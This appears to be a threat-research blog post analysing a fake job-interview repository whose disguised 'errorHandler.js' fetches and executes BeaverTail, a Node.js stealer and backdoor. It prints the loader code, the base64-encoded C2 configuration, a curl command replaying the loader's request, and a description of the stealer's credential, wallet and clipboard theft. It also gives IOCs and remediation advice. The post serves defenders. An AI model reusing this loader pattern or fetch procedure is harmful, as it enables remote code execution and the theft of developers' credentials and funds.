The tech job market is highly competitive, and threat actors are using this against us. A new, highly sophisticated malware campaign is actively targeting software developers—particularly in the Web3 and blockchain sectors—by masquerading as legitimate job opportunities.
The attack doesn't rely on zero-day exploits or suspicious email attachments. Instead, it relies on a standard developer reflex: running npm run dev.
Here is a breakdown of how the "Contagious Interview" campaign works, what it steals, and how you can spot the trap before it springs.
The Bait: A Friendly Recruiter and a Routine Task
The engagement usually begins on professional networks like LinkedIn. The attacker, often using a compromised account or posing as a recruiter for a fake or impersonated company, reaches out with a job offer. After a brief exchange, the developer is given a technical assessment, often hosted on Bitbucket or GitHub.
The task is seemingly straightforward. For example, a recent case asked the candidate to implement MetaMask wallet integration into a provided application and record a video of the working result.
The catch? The task, the repository, and the time limit are just a distraction. The entire goal is to get the developer to execute a single command on their machine: npm run dev.
The Trap: Execution on Startup
We recently analyzed one of these malicious repositories without executing it. At first glance, the project was incoherent—it mixed an Indian payment gateway with a real-estate frontend, used redundant databases, and featured a duplicate backend server.
A recruiter, a Bitbucket link, and a friendly request to "just get it running." We did not run it. This is how we took it apart instead.
Note on indicators. All network indicators in this post are defanged for safe publication:
hxxps://,[.], and[:]replace the live equivalents so that URLs, domains, and IP:port pairs are not clickable and are not fetched automatically by crawlers, readers, or link-preview services. Refang them only inside an isolated, disposable environment. Base64 strings and file hashes are reproduced verbatim so defenders can match on them, but they are inert as printed. Do not execute any code shown here.
Prologue: The Message
The engagement began with a routine-looking recruitment message on a professional network: a blockchain developer role, and a short technical assessment delivered as a Bitbucket repository the candidate was asked to run.
Test 1 - You can access the test project here: Bitbucket
All candidates are required to complete a technical assessment using the provided test project.
Task: Implement wallet (MetaMask) integration - 50 mins Implement MetaMask wallet integration into the provided project, allowing users to connect their Ethereum wallet and perform basic operations: connect the wallet, display the address, and handle account and network changes.
- Record a video of how it works.
- Send the video link (Google Drive or Loom) after completion.
One line carries the entire attack: "record a video of how it works." To produce that video, the candidate has to run the project, and running it is the whole compromise. The MetaMask task, the testnet, and the time limit exist only to get one command executed on a developer's machine: npm run dev. The assignment even names the target, asking the candidate to connect the exact class of wallet the payload is built to drain.
But this repository did not rely on a convincing disguise. It looked wrong the moment we opened it: the dependency manifest and the overall shape of the project were incoherent enough to fail any serious review. So we never ran it. We read the code instead.
What follows is that investigation, in two parts: what the source alone revealed without touching the network, and what we found when we safely retrieved the live payload it was built to fetch.
Chapter One: Reading the Code
Everything in this chapter comes from reading the source, the way a reviewer reads a pull request.
Initial Review: An Incoherent Project
A project's dependency list should describe one coherent application. This one did not.
"paytmchecksum": "^1.5.1",
"mongoose": "^8.5.1",
"sqlite3": "^5.1.7",
"concurrently": "^9.1.0",
"next": "15.0.3",
"react": "19.0.0-rc-66855b96-20241106"
Paytm is an Indian payment gateway. It sat inside a Next.js "fractional ownership" real-estate frontend, an application that has no reason to touch it. There were two entirely different databases - mongoose for MongoDB and sqlite3 - with no architectural reason to run both. And concurrently was launching a separate Express backend alongside Next.js, duplicating an API layer the framework already provides.
Taken together, these components do not describe a coherent application. The repository functions as a decoy: a plausible-looking project large enough to obscure a single malicious file. The task was to locate it.
The Ground Rule: Read, Don't Run
Our rule was firm: nothing in the repository would be executed on any machine holding wallets, SSH keys, API tokens, or production access. npm install and npm run dev were both excluded. We reviewed the code as text until we understood exactly what it did.
This costs almost nothing and defeats the entire class of attack.
We searched the non-minified backend for the patterns malicious JavaScript tends to need: eval(, Function(, child_process, atob(, base64 decoding, outbound network calls. The search returned a single meaningful hit, in a file most people would never think to open:
server/middlewares/validator/errorHandler.js
The Backdoor: errorHandler.js
The file sits in a validator directory alongside genuine request-validation helpers. Its name implies routine error-formatting code, and files of this kind are rarely reviewed closely. It instead exports a function, errorTimeHandler(), that performs three actions.
Step 1: it reads its configuration from config.env.example. Example environment files are treated as harmless placeholders and rarely inspected. This one held three variables under a routine heading, each with an innocuous comment:
# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly90ZWNoMDIwNHZlcmNlbGFwcC52ZXJjZWwuYXBwL2FwaS9pcGNoZWNrLWVuY3J5cHRlZC82MDlfMQ # Runtime config API key
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy # Runtime config access key
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0 # Runtime config access value
The values appear to be ordinary configuration, but they are base64-encoded. Decoded at runtime, they resolve to:
RUNTIME_CONFIG_API_KEY -> hxxps://tech0204vercelapp[.]vercel[.]app/api/ipcheck-encrypted/609_1
RUNTIME_CONFIG_ACCESS_KEY -> x-secret-header
RUNTIME_CONFIG_ACCESS_VALUE -> secret
This provides a C2 URL, an HTTP header name, and its value - everything required to authenticate to a remote server. The benign comments reinforce the disguise.
Step 2: it requests the second stage. Using axios, it sends a request to the decoded URL with the secret header attached. The server returns JavaScript source in the response body, delivered through the response's error branch (see below).
Step 3: it executes the response:
const handler = new (Function.constructor)('require', errCode);
handler(require);
This executes attacker-supplied text as code. Function.constructor is the global Function; invoking the resulting function with the real require grants the remote code full access to Node's module system - fs, child_process, os, networking, and everything else. The result is Remote Code Execution requiring no user interaction.
Corroborating Detail: an Undeclared Dependency
The malicious file imports axios, but axios is absent from package.json; it is present only transitively. A reviewer auditing the manifest therefore sees no networking library declared. Omitting a used dependency from the manifest is deliberate - it keeps a networking client out of the first place a reviewer looks.
Trigger: Execution on Startup
errorTimeHandler() is not called from a route handler. It is invoked at the top level of validator/index.js (line 105), executing as a side effect of importing the module:
npm run dev
-> node server/server.js
-> loads app.js and route modules
-> productRoute.js: require('../middlewares/validator')
-> validator/index.js runs its top-level code on import
-> line 105: errorTimeHandler() <- the backdoor fires here, at import
No HTTP request is required. Loading the routes loads the validator, which triggers the payload fetch. Starting the project once is sufficient for full compromise; the MetaMask task is irrelevant to the infection, which occurs at startup.
Inferred C2 Behavior
The code indicates the C2's intended behavior before any contact with it. The endpoint is presented as a geolocation API ("ipcheck"), and the loader reads its payload from the response's error branch. This implies two response modes: a benign IP-lookup response to callers without the secret header, and the payload - returned under an error status - to the loader sending x-secret-header: secret. A legitimate geolocation API would not vary its response based on a secret header; a staged C2 would.
Decoy File and Look-Alike Domain
A second file, server/middlewares/helpers/dbErrorHandler.js, is minified and appears suspicious, but on review it only formats Mongoose duplicate-key errors and is benign. It functions as a decoy, drawing attention away from the unminified, plainly named errorHandler.js that contains the payload. The C2 domain, tech0204vercelapp[.]vercel[.]app, is similarly constructed to resemble an ordinary Vercel deployment in logs.
The Limit of Static Analysis
Static review established the full structure of the loader: the file, the URL it contacts, the header it sends, and the fact that it executes whatever the server returns, with full privileges, on startup. It could not establish what the server actually returns. The second stage is not present in the repository; the code only references it, and the payload can vary between requests. Determining its behavior required retrieving it directly.
Chapter Two: Retrieving and Analyzing the Payload
The following steps involved network contact. The payload was retrieved for analysis using a dedicated, single-purpose fetcher in an isolated, disposable environment; it was never executed.
Confirming the Dual Behavior
The benign response mode was confirmed without contacting the endpoint from our own address. Automated scanners crawl such URLs routinely, and one such check had already retrieved the benign response. Because that request originated from the scanner's infrastructure, the geolocation reflects the scanner's IP - a US Google Cloud address - not ours:
{
"ipInfo": {
"status": "success",
"country": "United States",
"city": "Columbus",
"isp": "Google LLC",
"query": "<checker-ip>"
}
}
The response appears to be an ordinary geolocation utility. The payload mode requires the secret header recovered in Chapter One. This header-dependent behavior confirmed the staged design: the endpoint appears benign to any casual caller and returns the payload only to the loader. It also logs every caller's IP, which is why we kept our own address away from it.
Retrieving the Payload
Two constraints governed retrieval: no execution, and no exposure of our own infrastructure.
Isolation. The request was made from a cloud VPS provisioned in a separate region (Frankfurt), created solely for this analysis and destroyed afterward. It held nothing of value, and because the C2 logs every caller, the source address had to be disposable.
Fidelity. Because the C2 likely fingerprints its callers, the request replicated the loader's own - the axios/1.7.7 User-Agent and the secret header - and ran in an isolated container that only wrote the response to a file.
The server returned HTTP 400, 3.75 MB, from 64[.]29[.]17[.]195. The 400 is not an error but the delivery mechanism: the loader reads the payload from the error branch, so the C2 returns the code under a failure status. The 3.75 MB body is the second-stage payload.
Deobfuscation
The response was a JSON string wrapping 3.5 MB of JavaScript obfuscated with a commercial tool (javascript-obfuscator): hex-encoded identifiers and strings assembled only at runtime. We unwrapped the JSON envelope and deobfuscated the code offline with webcrack, producing readable source with recovered names, strings, and IP addresses.
The Second Stage: BeaverTail
The deobfuscated payload is 3.5 MB of Node.js implementing an information stealer and persistent backdoor. It is well-engineered: structured error handling, upload retries with backoff, OS detection, and cleanup of temporary files.
On execution it immediately split into three independent processes, each running from standard input so no script file ever touched the disk, each guarded by a lock file:
/tmp/pid.6.1.lock browser credential and wallet stealer
/tmp/pid.6.2.lock recursive filesystem scanner
/tmp/pid.6.3.lock persistent interactive backdoor
All three report to 144[.]172[.]117[.]220, on separate ports for different data types.
The browser stealer targets thirteen Chromium-based browsers (Chrome, Brave, Edge, Opera, Vivaldi, and others). It extracts each browser's encrypted master key and decrypts it using platform tools - DPAPI on Windows via a temporary PowerShell script, the Keychain on macOS, secret-tool on Linux - then decrypts every saved password. It also reads the storage of 40 cryptocurrency wallet extensions, including MetaMask - the wallet the assessment asked the candidate to integrate - along with Phantom, Keplr, TronLink, Coinbase Wallet, and OKX Web3.
The filesystem scanner traverses the home directory (or all drives on Windows), matching over 150 filename patterns: wallet files, seed phrases, SSH keys, cloud credentials, .env files, API keys, certificates, and source code. It uploads the highest-value locations first (Desktop, Documents, Downloads) and starts five minutes after launch to avoid detection during setup.
The socket backdoor maintains a persistent connection to the operator and registers the host. It supports directory listing, arbitrary file download, and arbitrary shell command execution. It also polls the clipboard every second and transmits any change, capturing seed phrases, private keys, and passwords in real time.
The payload is WSL-aware: inside Windows Subsystem for Linux it accesses the Windows filesystem via /mnt/c/Users/, reaching credentials otherwise outside the Linux environment.
Collectively, this is a full remote-access and exfiltration toolkit capable of compromising a developer's entire workstation in a single session, triggered by one npm run dev.
Assessment: Why the Attack Succeeds
The malware is not technically novel. Browser stealers, socket backdoors, and filesystem scanners are well-documented, and the obfuscation used a commercial tool. Its effectiveness derives from the delivery method rather than the code.
Asking a developer to run a project is an ordinary request that requires no exploit and no user error, only npm run dev. Because the payload executes at startup, there is no later decision point at which the victim might reconsider; compromise follows within seconds of launch.
The attack is defeated by review before execution. The relevant indicators were all visible statically: an unrelated payment gateway in a Web3 application, two redundant databases, a duplicate backend server, and a networking dependency that is used but not declared. Those inconsistencies are sufficient grounds to treat the repository as hostile and to analyze it without running it.
Technical Reference
Structured breakdown for defenders and analysts: risk, per-component analysis, attribution, methodology, and indicators of compromise.
1. Risk Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| Severity | Critical | Arbitrary code execution with full user privileges on the host. |
| Trigger difficulty | Trivial | Fires on npm run dev. No malicious action required from the victim. |
| Stealth | High | Named as an error handler; C2 disguised as an "IP check" API. |
| Persistence | High | Second stage spawns detached processes and reconnects; attacker-defined. |
| Data at risk | High | Wallets, seed phrases, SSH keys, cloud tokens, environment secrets. |
2. Threat Model: Why Developers Are the Target
The Lazarus Group's "Contagious Interview" campaign, first documented by threat intelligence firms in 2023 and still active as of mid-2026, targets software developers specifically because of the high-value data on a developer's workstation:
- Private keys and seed phrases for cryptocurrency wallets
- SSH keys granting access to production infrastructure
.envfiles with API keys, database credentials, and cloud tokens- AWS, GCP, and Azure credentials
- Source code for unreleased products
Blockchain and Web3 developers are priority targets: the payoff from a single compromised wallet vastly exceeds what a typical enterprise credential is worth. Asking a developer to run a project requires no privilege escalation, no browser exploit, and no suspicious attachment. The developer is expected to run the code. That is the entire attack.
3. Static Analysis: The Loader
File: server/middlewares/validator/errorHandler.js
SHA-256: d6705f52757af8bc2708a39647fc8c34dc02ffab7838a1d9c10fd44cfe9a7081
3.1 Decode the C2 configuration
Three RUNTIME_CONFIG_ environment variables carried in server/config/config.env.example, disguised as ordinary commented config, are base64-decoded at runtime:
# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly90ZWNoMDIwNHZlcmNlbGFwcC52ZXJjZWwuYXBwL2FwaS9pcGNoZWNrLWVuY3J5cHRlZC82MDlfMQ # Runtime config API key
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy # Runtime config access key
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0 # Runtime config access value
| Variable | Base64 (abbreviated) | Decoded value |
|---|---|---|
RUNTIME_CONFIG_API_KEY |
aHR0cHM6Ly90ZWNoMDIwNHZlcmNlbGFwcC... |
hxxps://tech0204vercelapp[.]vercel[.]app/api/ipcheck-encrypted/609_1 |
RUNTIME_CONFIG_ACCESS_KEY |
eC1zZWNyZXQtaGVhZGVy |
x-secret-header |
RUNTIME_CONFIG_ACCESS_VALUE |
c2VjcmV0 |
secret |
Placing configuration in a file named config.env.example is intentional - example env files are treated as harmless and rarely reviewed.
3.2 Fetch the second stage
The function calls the decoded URL with axios, passing the decoded authorization header. The response body contains JavaScript source, delivered via the error branch (error.response.data).
3.3 Execute
const handler = new (Function.constructor)('require', errCode);
handler(require);
Function.constructor is the global Function. Building a function this way and invoking it with the real require is eval with a fresh scope plus full access to Node's module system: fs, child_process, os, and everything else.
3.4 Trigger: startup, not user interaction
npm run dev
-> node server/server.js
-> loads routing modules
-> productRoute.js: require('../middlewares/validator')
-> validator/index.js, line 105: errorTimeHandler() <- payload fires on import
The payload executes before the first HTTP request is served. No MetaMask connection, no wallet interaction, no specific page required.
3.5 Corroborating indicators
- Hidden dependency.
axiosis used by the malicious file but omitted frompackage.json; it is pulled in transitively so a manifest review sees no declared networking library. - Incoherent composition. A Paytm e-commerce backend bolted onto an unrelated real-estate frontend, referencing both MongoDB and SQLite. The parts exist only to look like a busy, plausible project wrapping the backdoor.
- Typosquat-styled C2 domain.
tech0204vercelapp[.]vercel[.]appis shaped to pass as an ordinary Vercel deployment at a glance. - Decoy file.
server/middlewares/helpers/dbErrorHandler.jsis minified and looks alarming but is benign (it only formats Mongoose duplicate-key errors). It draws attention away from the real payload path.
4. C2 Analysis: The Decoy Endpoint
4.1 Dual behavior
Without the x-secret-header: secret header, the endpoint returns a benign IP geolocation response - the decoy. With the correct header, it delivers the second-stage payload as the body of an HTTP 400 response. The loader reads the payload from error.response.data, so serving code under a 400 status is by design.
4.2 Infrastructure
C2 URL: hxxps://tech0204vercelapp[.]vercel[.]app/api/ipcheck-encrypted/609_1
Answering IP: 64[.]29[.]17[.]195
Hosting: Vercel (server: Vercel, x-powered-by: Express)
Response code: HTTP/2 400
Content-Type: application/json
Body size: 3,755,978 bytes
ETag: W/"394fca-6S6wk8F9ETMXLrFOyGLf6tJ3GQw" (0x394fca = 3,755,978)
The C2 logs the source IP of every caller. Querying it from an identifiable address reveals your interest to the operator.
4.3 Safe payload retrieval
Retrieval was performed from a separate, disposable machine in an unrelated region, inside a locked-down container that dropped all capabilities, mounted the filesystem read-only, and wrote the response to a file only. The request replayed the loader's own axios/1.7.7 User-Agent and secret header so the C2 would serve the real payload rather than the decoy.
docker run --rm -it \
--network bridge \
--cap-drop=ALL \
--security-opt no-new-privileges \
--read-only \
--tmpfs /tmp \
-v ~/analysis-out:/out \
curlimages/curl:latest \
sh -c '
curl -sS \
-H "x-secret-header: secret" \
-H "Accept: application/json, text/plain, */*" \
-A "axios/1.7.7" \
--max-time 30 \
-D /out/response-headers.txt \
-o /out/payload.bin \
-w "STATUS=%{http_code} IP=%{remote_ip} SIZE=%{size_download}B\n" \
"hxxps://tech0204vercelapp[.]vercel[.]app/api/ipcheck-encrypted/609_1"
'
The URL above is defanged; it must be refanged (hxxps → https, [.] → .) before it will run, and that should only ever happen inside a throwaway, network-isolated environment like the one shown. Downloading and reading the file is safe. Executing it is the entire danger: never pipe the response into node or any evaluator.
5. Second-Stage Analysis: BeaverTail
The payload body is a JSON string wrapping a 3.5 MB JavaScript file obfuscated with javascript-obfuscator (obfuscator.io). After unwrapping the JSON envelope and deobfuscating offline with webcrack, the code is fully readable: a complete, professional-grade information stealer and persistent backdoor.
5.1 Architecture: three parallel processes
Each child process is spawned from stdin (no script file on disk), detached: true and unref()'d so it survives the parent, and guarded by a lock file. The lock mechanism prevents duplicates and replaces processes older than five hours. Before spawning, the payload silently npm installs any missing dependencies (socket.io-client, sql.js, form-data, axios).
/tmp/pid.6.1.lock -> ldbScript (browser credential stealer)
/tmp/pid.6.2.lock -> autoUploadScript (filesystem scanner and exfiltrator)
/tmp/pid.6.3.lock -> socketScript (persistent socket.io backdoor)
5.2 C2 exfiltration endpoints
| Endpoint | Port | Purpose |
|---|---|---|
144[.]172[.]117[.]220[:]8085 |
8085 | Browser credential and wallet data upload |
144[.]172[.]117[.]220[:]8086 |
8086 | General file upload (scanner output) |
144[.]172[.]117[.]220[:]8087 |
8087 | WebSocket C2 channel, logging, notifications |
All requests are authenticated with an HMAC-SHA256 token computed from request parameters using the hardcoded secret SuperStr0ngSecret@)@^. The campaign user key is 609, tier 6.
5.3 Module 1 - Browser credential stealer (ldbScript)
Targets every Chromium-based browser installed: Chrome, Brave, Microsoft Edge, Opera, Opera GX, Vivaldi, Yandex, AVG Browser, Kiwi, Iridium, Comodo Dragon, SRWare Iron, Chromium. It extracts the encrypted master key, decrypts it per platform, then opens each Login Data SQLite file with sql.js (a WebAssembly SQLite requiring no native binary) and decrypts every stored password.
- Windows: writes a PowerShell script to temp, runs it via
execSync, uses[System.Security.Cryptography.ProtectedData]::Unprotect(DPAPI) for the master key, then AES-256-GCM per password. - macOS:
security find-generic-passwordfor the Keychain entry, PBKDF2 key derivation, AES-128 per password. Also collectslogin.keychain-db. - Linux:
secret-tool lookupor a Pythonsecretstoragecall.
It also reads Web Data (autofill, card data) and all Local Extension Settings, targeting 40 wallet extension IDs. Selected entries:
| Extension ID | Wallet |
|---|---|
nkbihfbeogaeaoehlefnkodbefgpgknn |
MetaMask |
ejbalbakoplchlghecdalmeeeajnimhm |
MetaMask Flask |
aflkmhkiijdbfcmhplgifokgdeclgpoi |
Phantom |
bfnaelmomeimhlpmgjnjophhpkkoljpa |
Binance Wallet |
ibnejdfjmmkpcnlpebklmnkoeoihofec |
iWallet |
omaabbefbmiijedngplfjmnooppbclkk |
Coinbase Wallet |
dlcobpjiigpikoobohmabehhmhfoodbb |
Keplr |
hnfanknocfeofbddgcijnmhnfnkdnaad |
Ronin (Axie Infinity) |
jiidiaalihmmhddjgbnbgdfflelocpak |
TronLink |
fhkbkphfeanlhnlffkpologfoccekhic |
Coin98 |
penjlddjkjgpnkllboccdgccekpkcbin |
SafePal |
ppbibelpcjmhbdihakflkdcoccbgbkpo |
OKX Web3 |
The full list covers 40 extensions - every major software wallet available as a browser extension.
5.4 Module 2 - Filesystem scanner (autoUploadScript)
Recursively scans the filesystem and uploads every file whose path matches one of 150+ sensitive patterns to 144[.]172[.]117[.]220[:]8086, each upload HMAC-authenticated and tagged with hostname, path, and campaign identifiers. Priority directories (Desktop, Documents, Downloads, Projects, Development, Code, OneDrive, Google Drive) are scanned first; then the full home directory (Linux/macOS) or all logical drives (Windows).
It is WSL-aware: inside Windows Subsystem for Linux it reaches the Windows filesystem via /mnt/c/Users/, enumerating Windows usernames while excluding Public, Default, and system directories.
Pattern categories:
- Wallet material:
metamask,phantom,seed,mnemonic,keystore,wallet,bip39,bip44,12words,24words,seedphrase,recovery - Credentials:
.env,config,passwd,api_key,secret,token,credential,auth - Key files:
id_rsa,id_dsa,id_ed25519,.pem,.p12,.pfx,.jks,.keys - Certificates:
.crt,.cert,.cer,.der - Documents:
.pdf,.docx,.xlsx,.txt,.md,.csv - Databases:
.sqlite,.db,.sqlite3,.sql - Source code:
.js,.ts,.py,.jsx,.tsx
Files over 5 MB are skipped; uploads retry up to three times with exponential backoff. The scan starts five minutes after launch, late enough to avoid suspicion during "setup."
5.5 Module 3 - Persistent socket.io backdoor (socketScript)
Establishes a persistent socket.io-client connection to 144[.]172[.]117[.]220[:]8087. It reconnects on disconnect and reports status every ten seconds. On connect it registers the victim (hostname, OS type, OS release, username), giving the operator a live channel.
Supported commands:
| Code | Action |
|---|---|
| 102 | List directory contents, returned as JSON |
| 107 | Read a file and upload it, returning a download URL |
| 108 | Upload every file in a directory (up to 25 MB each), returning download URLs |
| (any) | Execute an arbitrary shell command via exec, 300 MB output buffer |
It also monitors the clipboard every second (pbpaste on macOS, Get-Clipboard on Windows, xclip/xsel on Linux) and logs any change to the C2 - capturing seed phrases, private keys, passwords, or addresses in real time. Five minutes after connecting, it searches the home directory for .env files (including .env.local, .env.production, and variants) and uploads every match.
6. Attribution
This sample matches the BeaverTail malware family attributed to the Lazarus Group (DPRK) under the "Contagious Interview" campaign, first documented by Group-IB and later by SentinelOne, Palo Alto Unit 42, and others. Attribution is assessed with high confidence on the following signatures:
- The three-process architecture (browser stealer + file scanner + socket backdoor) is a consistent, documented BeaverTail characteristic since late 2023.
- The hardcoded HMAC secret
SuperStr0ngSecret@)@^and the user-key / tier scheme (609,6) match published samples. - The delivery mechanism - a
Function.constructorRCE loader embedded in a fake repository dispatched as a recruitment coding task - is the defining feature of Contagious Interview. - The exclusive focus on cryptocurrency and blockchain developers matches all known Lazarus financially-motivated operations.
The sample also shows evolution over earlier variants: DPAPI decryption of browser master keys, WSL-aware filesystem traversal, real-time clipboard exfiltration, and the interactive file browser over socket commands. Attribution here is behavioral and pattern-based: a strong assessment rather than a definitive identification.
7. Methodology
Every step either never contacts the C2 or does so from a throwaway environment that is destroyed afterward.
- Passive static review. Clone and read as text. No
npm install, nonode. A recursive grep foreval,Function.constructor,child_process,atob, and network strings locates the malicious file in under a minute. - Disposable environment. A newly provisioned machine in an unrelated region, used once and destroyed. Docker for isolation.
- Faithful fetch. A container with all capabilities dropped and a read-only filesystem performs the request, replaying the loader's
axios/1.7.7User-Agent and secret header. The response is written to a file; nothing runs. - Deobfuscation, offline. The JSON envelope is unwrapped and the JavaScript deobfuscated with
webcrackin a container with no network access. - Analysis. The readable source is analyzed as text; IOCs are extracted with grep. Behavior is inferred from reading, not execution.
- Teardown. The environment is destroyed. No artifacts remain on any personal or production machine.
8. Indicators of Compromise
Network
| Type | Value | Notes |
|---|---|---|
| C2 URL | hxxps://tech0204vercelapp[.]vercel[.]app/api/ipcheck-encrypted/609_1 |
First-stage payload delivery |
| C2 domain | tech0204vercelapp[.]vercel[.]app |
Hosted on Vercel |
| C2 IP | 64[.]29[.]17[.]195 |
Answering IP for the Vercel deployment |
| Exfil | 144[.]172[.]117[.]220[:]8085 |
Browser credential upload |
| Exfil | 144[.]172[.]117[.]220[:]8086 |
File upload |
| Exfil | 144[.]172[.]117[.]220[:]8087 |
WebSocket C2 / logging |
| Auth header | x-secret-header: secret |
Required to receive the first-stage payload |
| HMAC secret | SuperStr0ngSecret@)@^ |
Shared across second-stage endpoints |
Filesystem
| Path | Description |
|---|---|
server/middlewares/validator/errorHandler.js |
The loader / backdoor |
server/middlewares/validator/index.js line 105 |
Trigger call site (errorTimeHandler()) |
server/config/config.env.example |
Config carrier (RUNTIME_CONFIG_*) |
/tmp/pid.6.1.lock |
Browser stealer lock file |
/tmp/pid.6.2.lock |
Filesystem scanner lock file |
/tmp/pid.6.3.lock |
Socket backdoor lock file |
/tmp/.tmp/.upload_<timestamp>_<random>/ |
Temporary upload staging directory |
Process behavior
Unexplained Node.js processes spawned from stdin (node --max-old-space-size=4096 --no-warnings -), running detached with no associated script file, are a strong indicator on any machine where this repository was started. So is an outbound HTTPS request to tech0204vercelapp[.]vercel[.]app carrying an x-secret-header header shortly after a Node project starts.
File hashes
| File | Hash |
|---|---|
server/middlewares/validator/errorHandler.js (SHA-256) |
d6705f52757af8bc2708a39647fc8c34dc02ffab7838a1d9c10fd44cfe9a7081 |
Archive susp_bucket.zip (SHA-256) |
0508026f3623ab95d837e735f4214b73cbf9ec3e4cf7099047474500285b96a7 |
Archive susp_bucket.zip (MD5) |
bb4ef04e4982ef6a2ed3853e28ce870c |
Payload payload.bin (SHA-256) |
11550de385e10801b5b749b77523ed48a422d7b416fe64eef6bf41bbf3341230 |
9. Recommendations
If you received a similar repository and have not run it
Do not run npm install or npm run dev. Reading the files is safe; execution is not. Search the codebase for Function.constructor, Function(, eval(, and atob( before touching any repository from an unknown source. Check whether every dependency used in the code is also declared in package.json - a hidden networking dependency is a reliable tell.
If you ran the project
Treat the machine as fully compromised and act immediately. Disconnect it from the network. Move any cryptocurrency to wallets generated on a known-clean device with new seed phrases; assume existing seeds, keystores, and wallet files are gone. Rotate everything the machine could reach: SSH keys, API keys, cloud credentials, database passwords, browser-saved passwords. Revoke active sessions and tokens. Review outbound logs for connections to 144[.]172[.]117[.]220 on ports 8085-8087 to date the compromise. Rebuild from a clean image - do not clean in place.
Reporting and hygiene
Report the source repository and the "recruiter" profile as phishing on whatever platform delivered them, and disengage without signalling that the sample was identified. Treat every unknown repository as hostile until proven otherwise, and run such tasks only in a disposable virtual machine with no access to wallets, keys, cloud credentials, or production systems. Snapshot before running; destroy after review. The discipline costs about fifteen minutes and eliminates the entire attack surface.
10. Conclusion
This campaign is sophisticated in its social engineering and patient in its execution, but its technical implementation is not novel. The loader is a straightforward HTTP fetch with dynamic execution; the payload is a professional but well-documented Node.js stealer. What makes it effective is not the code - it is the context. Asking a developer to run a project is indistinguishable from a legitimate interview task, and the attack succeeds because it fits perfectly into a normal workflow.
The right defense is not a better antivirus. It is the decision never to run unfamiliar code on a machine that holds anything of value, and to treat every coding task from an unknown source as potentially malicious until it has been reviewed in isolation. That decision costs nothing and defeats the entire campaign.
We are publishing this analysis and its IOCs so that other developers recognize the pattern before they meet it at the worst possible moment.
Appendix A: Core Source Excerpts
The RCE primitive, from server/middlewares/validator/errorHandler.js:
const createHandler = (errCode) => {
const handler = new (Function.constructor)('require', errCode);
return handler;
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
}
The C2 fetch, same file:
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
globalConfig = await axios.get(`${src}`, { headers: { [k]: v } });
This research was conducted entirely within an isolated, disposable environment. No malware was executed on any machine containing production credentials, cryptocurrency wallets, or sensitive data. All IOCs are published for defensive purposes under TLP:WHITE.

